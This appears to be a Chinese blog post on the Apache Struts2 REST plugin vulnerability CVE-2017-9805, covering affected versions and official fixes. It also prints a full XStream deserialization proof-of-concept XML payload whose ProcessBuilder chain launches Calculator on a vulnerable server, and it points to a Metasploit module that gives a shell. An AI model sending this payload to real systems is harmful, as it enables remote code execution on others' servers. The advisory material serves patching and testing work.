FavoriteLoading
0

strust漏洞利用

Apache Strusts2作为世界上最流行的Java Web服务器框架之一,在3月7日带来了本年度第一个高危漏洞——CVE编号 CVE-2017-5638。而就在9月5日晚,小编就又看到了消息,这已经千疮百孔Strust2 web框架又爆出了一个高危的远程代码执行漏洞,该漏洞由lgtm.com的安全研究员汇报,编号为CVE-2017-9805,当用户使用带有XStream程序的Strust RSET 插件来处理Xml payloads时,可能会遭到远程代码攻击执行。相似的漏洞已经在Strust多次发现,今年早些时候攻击者还利用Windows服务器中的Apache Strusts漏洞散发勒索软件,一些中小型公司的服务器损失惨重。目前官方已放出升级软件,建议用户尽快升级。

漏洞编号

CVE-2017-9805
漏洞影响范围
Strusts 2.5 到 2.5.12版本
据悉,Fortune 100 中 65% 使用 Struts 框架搭建 Web 应用的企业均可能受到影响,如花旗集团、美国国家税务局、英国沃达丰电信、维珍航空等等,说明此次漏洞影响范围较大,相关企业应当给予重视。如同上次的漏洞一般,教育,金融,政府应该是重灾区。

漏洞概述

REST插件使用带有XStream实例的XStreamHandler进行反序列化时,无需任何类型过滤,就可以在反序列化XML有效负载时导致远程代码执行。

向后兼容性

由于对可用类的默认限制,可能会导致一些REST操作停止工作,在这种情况下,请调查引入的新接口以允许每个操作定义类限制,这些接口分别是:
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider

官方给出的解决方法
目前尚没有比较完美的解决方案,官方给出的建议有如下两条:

升级至最新的Apache Strusts 2.5.13版本
在不使用时删除Strusts RSET插件,或经运行于服务器普通页面和JSONS

官方声明:https://struts.apache.org/docs/s2-052.html
漏洞Poc以及exp
恐怕这才是各位小伙伴比较关心的,虽然漏洞发现者Semmle表示已经得到简单且有效的exp,但目前可能是考虑到安全原因,并不打算公开。但有种比较方便的实现过程可以在自己的PC上尝试,就是通过在本机部署受影响版本的strust2版本,然后通过Burpsuite截取抓包,修改post内容为如下XML:

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

此Poc只为打开部署有strust2受影响版本机器的计算器。

现在metasploit中已提供了该漏洞的exp,你只需要更新metasploit然后search CVE-2017-9805就可以找到,可以获取目标机器的shell。